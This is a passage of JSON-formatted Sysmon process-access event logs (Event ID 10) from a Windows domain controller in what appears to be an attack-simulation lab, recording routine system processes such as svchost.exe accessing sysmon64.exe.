11:56:15.915","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-001065A20700}","TargetProcessId":"3992","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4985,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4986,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4987,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4988,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4989,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4990,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4991,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4992,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C